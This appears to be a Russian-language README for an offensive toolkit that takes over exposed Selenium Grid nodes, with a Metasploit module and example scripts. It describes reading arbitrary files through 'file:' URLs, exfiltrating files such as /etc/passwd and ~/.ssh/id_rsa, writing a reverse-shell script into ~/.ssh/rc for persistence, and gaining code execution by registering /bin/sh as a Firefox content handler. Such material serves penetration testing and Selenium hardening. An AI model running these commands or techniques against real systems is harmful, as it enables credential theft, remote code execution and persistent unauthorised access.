
Коллекция selenium-тестов, которые могут помочь в захвате selenium-узла
Этот проект переехал. Чтобы получить последнюю версию, выполните pull из https://codeberg.org/JonStratton/selenium-node-takeover-kit
Он объединяет некоторые из приведённых ниже примеров для загрузки файлов на узел Selenium, скачивания файлов с него и выполнения кода на нём (через параметр "COMMAND_TYPE"). RCE в настоящее время работает только на Linux. Для установки скопируйте его в "~/.msf4/modules/exploits/multi/http/" или куда угодно.
Просто переходит по URL "file:" и выводит содержимое страницы.
examples/selenium_node_cat.py -h http://selenium-hub.lan:4444/wd/hub -r /etc/passwdЗдесь используется встроенный HTML для создания встроенной формы с полем загрузки файла. Затем в эту форму передаётся локальный путь к файлу. Java-script в этой форме встраивает этот файл в кодировке base64 в ту же страницу. Затем скрипты читают и декодируют его и сохраняют в локальный файл.
examples/selenium_node_download.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/id_rsa -l ./nodes_rsaАналогично скриптам Node Download, но без обработки файла в Java-script. Если файл не существует, метод send_keys() скрипта вызовет исключение.
Только Firefox. Использует профиль Firefox (который представляет собой просто zip-файл в кодировке base64, встроенный в запрос к Selenium API) для создания собственного обработчика (в данном случае "application/sh" для /bin/sh). Затем он кодирует некоторые shell-команды в base64 и использует встроенный "data:" для передачи команд, связанных с "application/sh". После этого Firefox создаст временный файл с командами и выполнит его с помощью sh.
Только Firefox. Использует профиль Firefox для настройки собственного каталога загрузки и отключения запроса "Save as". Затем переходит ко встроенному HTML со встроенной ссылкой "data:", которая представляет собой закодированный файл для загрузки. По этой ссылке выполняется щелчок.
examples/selenium_node_upload.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/rc -l ./reverse_shell.shТолько Firefox. Использует профиль Firefox, который небезопасно распаковывается, для записи файла в файловую систему узла.